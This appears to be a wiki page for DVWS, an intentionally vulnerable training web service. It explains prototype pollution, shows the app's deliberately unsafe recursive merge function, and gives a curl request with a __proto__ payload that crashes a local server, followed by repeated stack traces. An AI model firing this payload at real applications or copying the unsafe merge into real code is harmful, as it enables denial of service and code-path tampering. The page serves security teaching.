-
Notifications
You must be signed in to change notification settings - Fork 214
Prototype Pollution
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
Within DVWS, a prototype pollution vulnerability exists within the file upload area.

A prototype polltion vulnerability exists in in the app
// Vulnerable merge function in controllers/storage.js
const merge = (target, source) => {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
};
// Usage in post handler
if (req.body.metadata) {
try {
const metadata = JSON.parse(req.body.metadata);
const fileData = {};
merge(fileData, metadata);
} catch (e) {
// ignore
}
}
To trigger a Denial of Service by polluting Object.prototype.toString:
-
Obtain a JWT Token: You need a valid token to access the endpoint. You can generate one using the secret
access(found in.env) or log in to the application if running. -
Send the Malicious Request: Use
curlto send a POST request with themetadatafield containing the pollution payload.
# Create a dummy XML file
echo "<root></root>" > test.xml
# Send the request
curl -X POST http://localhost:80/api/upload \
-H "Authorization: Bearer <YOUR_JWT_TOKEN>" \
-F "[email protected]" \
-F 'metadata={"__proto__": {"toString": "POLLUTED"}}'Expected Result: The server should process the request. Since Object.prototype.toString is now overwritten with the string "POLLUTED", subsequent operations on the server that rely on implicit string conversion of objects (which uses .toString()) will likely fail or throw errors, causing the application to crash or become unresponsive (Denial of Service).
xecuting (default): INSERT INTO passphrases (username, passphrase, reminder) values ('test', '69815b5e677e6c6e67466b52537a4867', 'test1')
TypeError: Object.prototype.toString.call is not a function
at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js
- XML External Entity Injection
- Server Side Request Forgery (SSRF)
- Username Enumeration
- NoSQL Injection
- Insecure Direct Object Reference
- Mass Assignment
- Cross Site Scripting (XSS)
- Hidden API Functionality Exposure
- SQL Injection
- Information Disclosure
- Insecure PostMessage Configuration
- Command Injection
- Prototype Pollution
- JSON Hijacking
- XPath Injection
- Cross Origin Resource-Sharing Misonfiguration
- JWT Secret Key Brute Force
- Vertical Access Control
- Horizontal Access Control
- Open Redirect
- Path Traversal
- Unsafe Deserialization
- Sensitive Data Exposure
- Arbitrary File Write
- Introspection Enabled
- GraphQL Access Control Issues
- GraphQL Batching Brute Force
- API Endpoint Brute Forcing
- CRLF Injection
- XML Injection
- XML Bomb Denial‐of‐Service
- SOAP Injection
- JSON CSRF
- LDAP Injection
- Rate Limit Bypass
- Client Side Template Injection